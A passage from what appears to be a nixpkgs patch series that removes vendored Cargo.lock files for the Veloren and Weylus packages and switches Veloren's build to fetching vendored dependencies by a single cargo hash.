-source = "git+https://github.com/Imberflur/wgpu.git?tag=0.18-with-fixes-for-veloren-v1#df527ef82e2eba827eda9278caa583506a06aa87"
-dependencies = [
- "arrayvec",
- "bit-vec",
- "bitflags 2.5.0",
- "codespan-reporting",
- "log",
- "naga",
- "parking_lot 0.12.1",
- "profiling",
- "raw-window-handle 0.5.2",
- "ron",
- "rustc-hash",
- "serde",
- "smallvec",
- "thiserror",
- "web-sys",
- "wgpu-hal",
- "wgpu-types",
-]
-
-[[package]]
-name = "wgpu-hal"
-version = "0.18.1"
-source = "git+https://github.com/Imberflur/wgpu.git?tag=0.18-with-fixes-for-veloren-v1#df527ef82e2eba827eda9278caa583506a06aa87"
-dependencies = [
- "android_system_properties",
- "arrayvec",
- "ash",
- "bit-set",
- "bitflags 2.5.0",
- "block",
- "core-graphics-types",
- "d3d12",
- "glow",
- "glutin_wgl_sys",
- "gpu-alloc",
- "gpu-allocator",
- "gpu-descriptor",
- "hassle-rs",
- "js-sys",
- "khronos-egl",
- "libc",
- "libloading 0.8.3",
- "log",
- "metal",
- "naga",
- "objc",
- "once_cell",
- "parking_lot 0.12.1",
- "profiling",
- "range-alloc",
- "raw-window-handle 0.5.2",
- "renderdoc-sys",
- "rustc-hash",
- "smallvec",
- "thiserror",
- "wasm-bindgen",
- "web-sys",
- "wgpu-types",
- "winapi",
-]
-
-[[package]]
-name = "wgpu-profiler"
-version = "0.15.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "cbdc78911971a06b86a57a9a8e1c861fbc90c62dcbc96bff0b2831c1e853b7bd"
-dependencies = [
- "thiserror",
- "wgpu",
-]
-
-[[package]]
-name = "wgpu-types"
-version = "0.18.0"
-source = "git+https://github.com/Imberflur/wgpu.git?tag=0.18-with-fixes-for-veloren-v1#df527ef82e2eba827eda9278caa583506a06aa87"
-dependencies = [
- "bitflags 2.5.0",
- "js-sys",
- "serde",
- "web-sys",
-]
-
-[[package]]
-name = "which"
-version = "4.4.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "87ba24419a2078cd2b0f2ede2691b6c66d8e47836da3b6db8265ebad47afbfc7"
-dependencies = [
- "either",
- "home",
- "once_cell",
- "rustix",
-]
-
-[[package]]
-name = "widestring"
-version = "1.0.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "653f141f39ec16bba3c5abe400a0c60da7468261cc2cbf36805022876bc721a8"
-
-[[package]]
-name = "wiggle"
-version = "17.0.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "a5530d063ee9ccb1d503fed91e3d509419f43733a05fcc99c9f7aa3482703189"
-dependencies = [
- "anyhow",
- "async-trait",
- "bitflags 2.5.0",
- "thiserror",
- "tracing",
- "wasmtime",
- "wiggle-macro",
-]
-
-[[package]]
-name = "wiggle-generate"
-version = "17.0.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "ea274a806c3eeef5008d32881a999065591c646f0f889ca07fd1223f54378e8b"
-dependencies = [
- "anyhow",
- "heck 0.4.1",
- "proc-macro2 1.0.79",
- "quote 1.0.35",
- "shellexpand 2.1.2",
- "syn 2.0.53",
- "witx",
-]
-
-[[package]]
-name = "wiggle-macro"
-version = "17.0.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "505e4f6b7b46e693e0027f650956b662de0fcedfc3a2506ce6a4f9f08281791c"
-dependencies = [
- "proc-macro2 1.0.79",
- "quote 1.0.35",
- "syn 2.0.53",
- "wiggle-generate",
-]
-
-[[package]]
-name = "winapi"
-version = "0.3.9"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "5c839a674fcd7a98952e593242ea400abe93992746761e38641405d28b00f419"
-dependencies = [
- "winapi-i686-pc-windows-gnu",
- "winapi-x86_64-pc-windows-gnu",
-]
-
-[[package]]
-name = "winapi-i686-pc-windows-gnu"
-version = "0.4.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "ac3b87c63620426dd9b991e5ce0329eff545bccbbb34f3be09ff6fb6ab51b7b6"
-
-[[package]]
-name = "winapi-util"
-version = "0.1.6"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "f29e6f9198ba0d26b4c9f07dbe6f9ed633e1f3d5b8b414090084349e46a52596"
-dependencies = [
- "winapi",
-]
-
-[[package]]
-name = "winapi-wsapoll"
-version = "0.1.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "44c17110f57155602a80dca10be03852116403c9ff3cd25b079d666f2aa3df6e"
-dependencies = [
- "winapi",
-]
-
-[[package]]
-name = "winapi-x86_64-pc-windows-gnu"
-version = "0.4.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "712e227841d057c1ee1cd2fb22fa7e5a5461ae8e48fa2ca79ec42cfc1931183f"
-
-[[package]]
-name = "winch-codegen"
-version = "0.15.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "f114f3f980c00f13ee164e431e3abac9cd20b10853849fa6b030d3e4d6be307a"
-dependencies = [
- "anyhow",
- "cranelift-codegen",
- "gimli",
- "regalloc2",
- "smallvec",
- "target-lexicon",
- "wasmparser 0.118.2",
- "wasmtime-environ",
-]
-
-[[package]]
-name = "window_clipboard"
-version = "0.3.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "63287c9c4396ccf5346d035a9b0fcaead9e18377637f5eaa78b7ac65c873ff7d"
-dependencies = [
- "clipboard-win 4.5.0",
- "clipboard_macos",
- "clipboard_wayland",
- "clipboard_x11",
- "raw-window-handle 0.5.2",
- "thiserror",
-]
-
-[[package]]
-name = "windows"
-version = "0.48.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "e686886bc078bc1b0b600cac0147aadb815089b6e4da64016cbd754b6342700f"
-dependencies = [
- "windows-targets 0.48.5",
-]
-
-[[package]]
-name = "windows"
-version = "0.51.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "ca229916c5ee38c2f2bc1e9d8f04df975b4bd93f9955dc69fabb5d91270045c9"
-dependencies = [
- "windows-core 0.51.1",
- "windows-targets 0.48.5",
-]
-
-[[package]]
-name = "windows"
-version = "0.54.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "9252e5725dbed82865af151df558e754e4a3c2c30818359eb17465f1346a1b49"
-dependencies = [
- "windows-core 0.54.0",
- "windows-targets 0.52.4",
-]
-
-[[package]]
-name = "windows-core"
-version = "0.51.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "f1f8cf84f35d2db49a46868f947758c7a1138116f7fac3bc844f43ade1292e64"
-dependencies = [
- "windows-targets 0.48.5",
-]
-
-[[package]]
-name = "windows-core"
-version = "0.52.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "33ab640c8d7e35bf8ba19b884ba838ceb4fba93a4e8c65a9059d08afcfc683d9"
-dependencies = [
- "windows-targets 0.52.4",
-]
-
-[[package]]
-name = "windows-core"
-version = "0.54.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "12661b9c89351d684a50a8a643ce5f608e20243b9fb84687800163429f161d65"
-dependencies = [
- "windows-result",
- "windows-targets 0.52.4",
-]
-
-[[package]]
-name = "windows-result"
-version = "0.1.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "cd19df78e5168dfb0aedc343d1d1b8d422ab2db6756d2dc3fef75035402a3f64"
-dependencies = [
- "windows-targets 0.52.4",
-]
-
-[[package]]
-name = "windows-sys"
-version = "0.45.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "75283be5efb2831d37ea142365f009c02ec203cd29a3ebecbc093d52315b66d0"
-dependencies = [
- "windows-targets 0.42.2",
-]
-
-[[package]]
-name = "windows-sys"
-version = "0.48.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "677d2418bec65e3338edb076e806bc1ec15693c5d0104683f2efe857f61056a9"
-dependencies = [
- "windows-targets 0.48.5",
-]
-
-[[package]]
-name = "windows-sys"
-version = "0.52.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "282be5f36a8ce781fad8c8ae18fa3f9beff57ec1b52cb3de0789201425d9a33d"
-dependencies = [
- "windows-targets 0.52.4",
-]
-
-[[package]]
-name = "windows-targets"
-version = "0.42.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "8e5180c00cd44c9b1c88adb3693291f1cd93605ded80c250a75d472756b4d071"
-dependencies = [
- "windows_aarch64_gnullvm 0.42.2",
- "windows_aarch64_msvc 0.42.2",
- "windows_i686_gnu 0.42.2",
- "windows_i686_msvc 0.42.2",
- "windows_x86_64_gnu 0.42.2",
- "windows_x86_64_gnullvm 0.42.2",
- "windows_x86_64_msvc 0.42.2",
-]
-
-[[package]]
-name = "windows-targets"
-version = "0.48.5"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "9a2fa6e2155d7247be68c096456083145c183cbbbc2764150dda45a87197940c"
-dependencies = [
- "windows_aarch64_gnullvm 0.48.5",
- "windows_aarch64_msvc 0.48.5",
- "windows_i686_gnu 0.48.5",
- "windows_i686_msvc 0.48.5",
- "windows_x86_64_gnu 0.48.5",
- "windows_x86_64_gnullvm 0.48.5",
- "windows_x86_64_msvc 0.48.5",
-]
-
-[[package]]
-name = "windows-targets"
-version = "0.52.4"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "7dd37b7e5ab9018759f893a1952c9420d060016fc19a472b4bb20d1bdd694d1b"
-dependencies = [
- "windows_aarch64_gnullvm 0.52.4",
- "windows_aarch64_msvc 0.52.4",
- "windows_i686_gnu 0.52.4",
- "windows_i686_msvc 0.52.4",
- "windows_x86_64_gnu 0.52.4",
- "windows_x86_64_gnullvm 0.52.4",
- "windows_x86_64_msvc 0.52.4",
-]
-
-[[package]]
-name = "windows_aarch64_gnullvm"
-version = "0.42.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "597a5118570b68bc08d8d59125332c54f1ba9d9adeedeef5b99b02ba2b0698f8"
-
-[[package]]
-name = "windows_aarch64_gnullvm"
-version = "0.48.5"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "2b38e32f0abccf9987a4e3079dfb67dcd799fb61361e53e2882c3cbaf0d905d8"
-
-[[package]]
-name = "windows_aarch64_gnullvm"
-version = "0.52.4"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "bcf46cf4c365c6f2d1cc93ce535f2c8b244591df96ceee75d8e83deb70a9cac9"
-
-[[package]]
-name = "windows_aarch64_msvc"
-version = "0.42.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "e08e8864a60f06ef0d0ff4ba04124db8b0fb3be5776a5cd47641e942e58c4d43"
-
-[[package]]
-name = "windows_aarch64_msvc"
-version = "0.48.5"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "dc35310971f3b2dbbf3f0690a219f40e2d9afcf64f9ab7cc1be722937c26b4bc"
-
-[[package]]
-name = "windows_aarch64_msvc"
-version = "0.52.4"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "da9f259dd3bcf6990b55bffd094c4f7235817ba4ceebde8e6d11cd0c5633b675"
-
-[[package]]
-name = "windows_i686_gnu"
-version = "0.42.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "c61d927d8da41da96a81f029489353e68739737d3beca43145c8afec9a31a84f"
-
-[[package]]
-name = "windows_i686_gnu"
-version = "0.48.5"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "a75915e7def60c94dcef72200b9a8e58e5091744960da64ec734a6c6e9b3743e"
-
-[[package]]
-name = "windows_i686_gnu"
-version = "0.52.4"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "b474d8268f99e0995f25b9f095bc7434632601028cf86590aea5c8a5cb7801d3"
-
-[[package]]
-name = "windows_i686_msvc"
-version = "0.42.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "44d840b6ec649f480a41c8d80f9c65108b92d89345dd94027bfe06ac444d1060"
-
-[[package]]
-name = "windows_i686_msvc"
-version = "0.48.5"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "8f55c233f70c4b27f66c523580f78f1004e8b5a8b659e05a4eb49d4166cca406"
-
-[[package]]
-name = "windows_i686_msvc"
-version = "0.52.4"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "1515e9a29e5bed743cb4415a9ecf5dfca648ce85ee42e15873c3cd8610ff8e02"
-
-[[package]]
-name = "windows_x86_64_gnu"
-version = "0.42.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "8de912b8b8feb55c064867cf047dda097f92d51efad5b491dfb98f6bbb70cb36"
-
-[[package]]
-name = "windows_x86_64_gnu"
-version = "0.48.5"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "53d40abd2583d23e4718fddf1ebec84dbff8381c07cae67ff7768bbf19c6718e"
-
-[[package]]
-name = "windows_x86_64_gnu"
-version = "0.52.4"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "5eee091590e89cc02ad514ffe3ead9eb6b660aedca2183455434b93546371a03"
-
-[[package]]
-name = "windows_x86_64_gnullvm"
-version = "0.42.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "26d41b46a36d453748aedef1486d5c7a85db22e56aff34643984ea85514e94a3"
-
-[[package]]
-name = "windows_x86_64_gnullvm"
-version = "0.48.5"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "0b7b52767868a23d5bab768e390dc5f5c55825b6d30b86c844ff2dc7414044cc"
-
-[[package]]
-name = "windows_x86_64_gnullvm"
-version = "0.52.4"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "77ca79f2451b49fa9e2af39f0747fe999fcda4f5e241b2898624dca97a1f2177"
-
-[[package]]
-name = "windows_x86_64_msvc"
-version = "0.42.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "9aec5da331524158c6d1a4ac0ab1541149c0b9505fde06423b02f5ef0106b9f0"
-
-[[package]]
-name = "windows_x86_64_msvc"
-version = "0.48.5"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "ed94fce61571a4006852b7389a063ab983c02eb1bb37b47f8272ce92d06d9538"
-
-[[package]]
-name = "windows_x86_64_msvc"
-version = "0.52.4"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "32b752e52a2da0ddfbdbcc6fceadfeede4c939ed16d13e648833a61dfb611ed8"
-
-[[package]]
-name = "winit"
-version = "0.28.7"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "9596d90b45384f5281384ab204224876e8e8bf7d58366d9b795ad99aa9894b94"
-dependencies = [
- "android-activity",
- "bitflags 1.3.2",
- "cfg_aliases",
- "core-foundation",
- "core-graphics",
- "dispatch 0.2.0",
- "instant",
- "libc",
- "log",
- "mio",
- "ndk 0.7.0",
- "objc2",
- "once_cell",
- "orbclient",
- "percent-encoding",
- "raw-window-handle 0.5.2",
- "redox_syscall 0.3.5",
- "sctk-adwaita",
- "serde",
- "smithay-client-toolkit",
- "wasm-bindgen",
- "wayland-client",
- "wayland-commons",
- "wayland-protocols",
- "wayland-scanner",
- "web-sys",
- "windows-sys 0.45.0",
- "x11-dl",
-]
-
-[[package]]
-name = "winnow"
-version = "0.5.40"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "f593a95398737aeed53e489c785df13f3618e41dbcd6718c6addbf1395aa6876"
-dependencies = [
- "memchr",
-]
-
-[[package]]
-name = "winnow"
-version = "0.6.5"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "dffa400e67ed5a4dd237983829e66475f0a4a26938c4b04c21baede6262215b8"
-dependencies = [
- "memchr",
-]
-
-[[package]]
-name = "winreg"
-version = "0.50.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "524e57b2c537c0f9b1e69f1965311ec12182b4122e45035b1508cd24d2adadb1"
-dependencies = [
- "cfg-if 1.0.0",
- "windows-sys 0.48.0",
-]
-
-[[package]]
-name = "winreg"
-version = "0.52.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "a277a57398d4bfa075df44f501a17cfdf8542d224f0d36095a2adc7aee4ef0a5"
-dependencies = [
- "cfg-if 1.0.0",
- "windows-sys 0.48.0",
-]
-
-[[package]]
-name = "winres"
-version = "0.1.12"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "b68db261ef59e9e52806f688020631e987592bd83619edccda9c47d42cde4f6c"
-dependencies = [
- "toml 0.5.11",
-]
-
-[[package]]
-name = "winx"
-version = "0.36.3"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "f9643b83820c0cd246ecabe5fa454dd04ba4fa67996369466d0747472d337346"
-dependencies = [
- "bitflags 2.5.0",
- "windows-sys 0.52.0",
-]
-
-[[package]]
-name = "wit-parser"
-version = "0.13.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "316b36a9f0005f5aa4b03c39bc3728d045df136f8c13a73b7db4510dec725e08"
-dependencies = [
- "anyhow",
- "id-arena",
- "indexmap",
- "log",
- "semver 1.0.22",
- "serde",
- "serde_derive",
- "serde_json",
- "unicode-xid 0.2.4",
-]
-
-[[package]]
-name = "witx"
-version = "0.9.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "e366f27a5cabcddb2706a78296a40b8fcc451e1a6aba2fc1d94b4a01bdaaef4b"
-dependencies = [
- "anyhow",
- "log",
- "thiserror",
- "wast 35.0.2",
-]
-
-[[package]]
-name = "wyz"
-version = "0.5.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "05f360fc0b24296329c78fda852a1e9ae82de9cf7b27dae4b7f62f118f77b9ed"
-dependencies = [
- "tap",
-]
-
-[[package]]
-name = "x11-clipboard"
-version = "0.7.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "980b9aa9226c3b7de8e2adb11bf20124327c054e0e5812d2aac0b5b5a87e7464"
-dependencies = [
- "x11rb 0.10.1",
-]
-
-[[package]]
-name = "x11-dl"
-version = "2.21.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "38735924fedd5314a6e548792904ed8c6de6636285cb9fec04d5b1db85c1516f"
-dependencies = [
- "libc",
- "once_cell",
- "pkg-config",
-]
-
-[[package]]
-name = "x11rb"
-version = "0.10.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "592b4883219f345e712b3209c62654ebda0bb50887f330cbd018d0f654bfd507"
-dependencies = [
- "gethostname 0.2.3",
- "nix 0.24.3",
- "winapi",
- "winapi-wsapoll",
- "x11rb-protocol 0.10.0",
-]
-
-[[package]]
-name = "x11rb"
-version = "0.13.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "f8f25ead8c7e4cba123243a6367da5d3990e0d3affa708ea19dce96356bd9f1a"
-dependencies = [
- "gethostname 0.4.3",
- "rustix",
- "x11rb-protocol 0.13.0",
-]
-
-[[package]]
-name = "x11rb-protocol"
-version = "0.10.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "56b245751c0ac9db0e006dc812031482784e434630205a93c73cfefcaabeac67"
-dependencies = [
- "nix 0.24.3",
-]
-
-[[package]]
-name = "x11rb-protocol"
-version = "0.13.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "e63e71c4b8bd9ffec2c963173a4dc4cbde9ee96961d4fcb4429db9929b606c34"
-
-[[package]]
-name = "xattr"
-version = "1.3.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "8da84f1a25939b27f6820d92aed108f83ff920fdf11a7b19366c27c4cda81d4f"
-dependencies = [
- "libc",
- "linux-raw-sys",
- "rustix",
-]
-
-[[package]]
-name = "xcb"
-version = "1.3.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "5d27b37e69b8c05bfadcd968eb1a4fe27c9c52565b727f88512f43b89567e262"
-dependencies = [
- "as-raw-xcb-connection",
- "bitflags 1.3.2",
- "libc",
- "quick-xml",
-]
-
-[[package]]
-name = "xcursor"
-version = "0.3.5"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "6a0ccd7b4a5345edfcd0c3535718a4e9ff7798ffc536bb5b5a0e26ff84732911"
-
-[[package]]
-name = "xdg"
-version = "2.5.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "213b7324336b53d2414b2db8537e56544d981803139155afa84f76eeebb7a546"
-
-[[package]]
-name = "xi-unicode"
-version = "0.3.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "a67300977d3dc3f8034dae89778f502b6ba20b269527b3223ba59c0cf393bb8a"
-
-[[package]]
-name = "xkbcommon"
-version = "0.5.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "52db25b599e92bf6e3904134618728eeb7b49a5a4f38f107f92399bb9c496b88"
-dependencies = [
- "as-raw-xcb-connection",
- "libc",
- "memmap2 0.7.1",
-]
-
-[[package]]
-name = "xml-rs"
-version = "0.8.19"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "0fcb9cbac069e033553e8bb871be2fbdffcab578eb25bd0f7c508cedc6dcd75a"
-
-[[package]]
-name = "xmlparser"
-version = "0.13.6"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "66fee0b777b0f5ac1c69bb06d361268faafa61cd4682ae064a171c16c433e9e4"
-
-[[package]]
-name = "yasna"
-version = "0.5.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "e17bb3549cc1321ae1296b9cdc2698e2b6cb1992adfa19a8c72e5b7a738f44cd"
-dependencies = [
- "time",
-]
-
-[[package]]
-name = "zerocopy"
-version = "0.7.32"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "74d4d3961e53fa4c9a25a8637fc2bfaf2595b3d3ae34875568a5cf64787716be"
-dependencies = [
- "zerocopy-derive",
-]
-
-[[package]]
-name = "zerocopy-derive"
-version = "0.7.32"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "9ce1b18ccd8e73a9321186f97e46f9f04b778851177567b1975109d26a08d2a6"
-dependencies = [
- "proc-macro2 1.0.79",
- "quote 1.0.35",
- "syn 2.0.53",
-]
-
-[[package]]
-name = "zstd"
-version = "0.11.2+zstd.1.5.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "20cc960326ece64f010d2d2107537f26dc589a6573a316bd5b1dba685fa5fde4"
-dependencies = [
- "zstd-safe",
-]
-
-[[package]]
-name = "zstd-safe"
-version = "5.0.2+zstd.1.5.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "1d2a5585e04f9eea4b2a3d1eca508c4dee9592a89ef6f450c11719da0726f4db"
-dependencies = [
- "libc",
- "zstd-sys",
-]
-
-[[package]]
-name = "zstd-sys"
-version = "2.0.9+zstd.1.5.5"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "9e16efa8a874a0481a574084d34cc26fdb3b99627480f785888deb6386506656"
-dependencies = [
- "cc",
- "pkg-config",
-]
diff --git a/pkgs/by-name/ve/veloren/package.nix b/pkgs/by-name/ve/veloren/package.nix
index 689abae0bc70..6af10dc7ac16 100644
--- a/pkgs/by-name/ve/veloren/package.nix
+++ b/pkgs/by-name/ve/veloren/package.nix
@@ -30,29 +30,15 @@ rustPlatform.buildRustPackage {
     hash = "sha256-h2hLO227aeK2oEFfdGMgmtMkA9cn9AgQ9w6myb+8W8c=";
   };
 
-  cargoLock.lockFile = ./Cargo.lock;
-  cargoLock.outputHashes = {
-    # Hashes of dependencies pinned to a git commit
-    "auth-common-0.1.0" = "sha256-6tUutHLY309xSBT2D7YueAmsAWyVn410XNKFT8yuTgA=";
-    "conrod_core-0.63.0" = "sha256-GxakbJBVTFgbtUsa2QB105xgd+aULuWLBlv719MIzQY=";
-    "egui_wgpu_backend-0.26.0" = "sha256-47XZoE7bFRv/TG4EmM2qit5L21qsKT6Nt/t1y/NMneQ=";
-    "fluent-0.16.0" = "sha256-xN+DwObqoToqprLDy3yvTiqclIIOsuUtpAQ6W1mdf0I=";
-    "iced_core-0.4.0" = "sha256-5s6IXcitoGcHS0FUx/cujx9KLBpaUuMnugmBged1cLA=";
-    "keyboard-keynames-0.1.2" = "sha256-5I70zT+Lwt0JXJgTAy/VygHdxIBuE/u3pq8LP8NkRdE=";
-    "naga-0.14.2" = "sha256-yyLrJNhbu/RIVr0hM7D7Rwd7vH3xX8Dns+u6m8NEU2M=";
-    "portpicker-0.1.0" = "sha256-or1907XdrDIyFzHNmW6me2EIyEQ8sjVIowfGsypa4jU=";
-    "shaderc-0.8.0" = "sha256-BU736g075i3GqlyyB9oyoVlQqNcWbZEGa8cdge1aMq0=";
-    "specs-0.20.0" = "sha256-OHnlag6SJ1rlAYnlmVD+uqY+kFNsbQ42W21RrEa8Xn0=";
-  };
   cargoPatches = [
     ./fix-on-rust-stable.patch
     ./fix-assets-path.patch
   ];
 
-  postPatch = ''
-    # Use our Cargo.lock
-    cp ${./Cargo.lock} Cargo.lock
+  useFetchCargoVendor = true;
+  cargoHash = "sha256-3XHuAgue0Id1oxCJ8NLZ4wYjMfND+C1iIW+AnMKXd54=";
 
+  postPatch = ''
     # Force vek to build in unstable mode
     cat <<'EOF' | tee "$cargoDepsCopy"/vek-*/build.rs
     fn main() {

From 477f971093c45cc35513a1f88078479f9bc447d7 Mon Sep 17 00:00:00 2001
From: TomaSajt <62384384+TomaSajt@users.noreply.github.com>
Date: Wed, 14 May 2025 01:26:34 +0200
Subject: [PATCH 0017/4511] weylus: don't vendor Cargo.lock

(cherry picked from commit 61879eac1e2d30243c47da5bcc4c6b5c3caacef5)
---
 pkgs/by-name/we/weylus/Cargo.lock  | 2487 ----------------------------
 pkgs/by-name/we/weylus/package.nix |    8 +-
 2 files changed, 2 insertions(+), 2493 deletions(-)
 delete mode 100644 pkgs/by-name/we/weylus/Cargo.lock

diff --git a/pkgs/by-name/we/weylus/Cargo.lock b/pkgs/by-name/we/weylus/Cargo.lock
deleted file mode 100644
index 56f7e330b89b..000000000000
--- a/pkgs/by-name/we/weylus/Cargo.lock
+++ /dev/null
@@ -1,2487 +0,0 @@
-# This file is automatically @generated by Cargo.
-# It is not intended for manual editing.
-version = 3
-
-[[package]]
-name = "addr2line"
-version = "0.24.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "f5fb1d8e4442bd405fdfd1dacb42792696b0cf9cb15882e5d097b742a676d375"
-dependencies = [
- "gimli",
-]
-
-[[package]]
-name = "adler"
-version = "1.0.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "f26201604c87b1e01bd3d98f8d5d9a8fcbb815e8cedb41ffccbeb4bf593a35fe"
-
-[[package]]
-name = "adler2"
-version = "2.0.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "512761e0bb2578dd7380c6baaa0f4ce03e84f95e960231d1dec8bf4d7d6e2627"
-
-[[package]]
-name = "adler32"
-version = "1.2.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "aae1277d39aeec15cb388266ecc24b11c80469deae6067e17a1a7aa9e5c1f234"
-
-[[package]]
-name = "anstream"
-version = "0.6.15"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "64e15c1ab1f89faffbf04a634d5e1962e9074f2741eef6d97f3c4e322426d526"
-dependencies = [
- "anstyle",
- "anstyle-parse",
- "anstyle-query",
- "anstyle-wincon",
- "colorchoice",
- "is_terminal_polyfill",
- "utf8parse",
-]
-
-[[package]]
-name = "anstyle"
-version = "1.0.8"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "1bec1de6f59aedf83baf9ff929c98f2ad654b97c9510f4e70cf6f661d49fd5b1"
-
-[[package]]
-name = "anstyle-parse"
-version = "0.2.5"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "eb47de1e80c2b463c735db5b217a0ddc39d612e7ac9e2e96a5aed1f57616c1cb"
-dependencies = [
- "utf8parse",
-]
-
-[[package]]
-name = "anstyle-query"
-version = "1.1.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "6d36fc52c7f6c869915e99412912f22093507da8d9e942ceaf66fe4b7c14422a"
-dependencies = [
- "windows-sys 0.52.0",
-]
-
-[[package]]
-name = "anstyle-wincon"
-version = "3.0.4"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "5bf74e1b6e971609db8ca7a9ce79fd5768ab6ae46441c572e46cf596f59e57f8"
-dependencies = [
- "anstyle",
- "windows-sys 0.52.0",
-]
-
-[[package]]
-name = "atomic-waker"
-version = "1.1.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "1505bd5d3d116872e7271a6d4e16d81d0c8570876c8de68093a09ac269d8aac0"
-
-[[package]]
-name = "atomic_refcell"
-version = "0.1.13"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "41e67cd8309bbd06cd603a9e693a784ac2e5d1e955f11286e355089fcab3047c"
-
-[[package]]
-name = "autocfg"
-version = "1.3.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "0c4b4d0bd25bd0b74681c0ad21497610ce1b7c91b1022cd21c80c6fbdd9476b0"
-
-[[package]]
-name = "autopilot"
-version = "0.4.0"
-source = "git+https://github.com/H-M-H/autopilot-rs.git?rev=63eed09c715bfb665bb23172a3930a528e11691c#63eed09c715bfb665bb23172a3930a528e11691c"
-dependencies = [
- "cocoa",
- "core-foundation 0.7.0",
- "core-graphics 0.19.2",
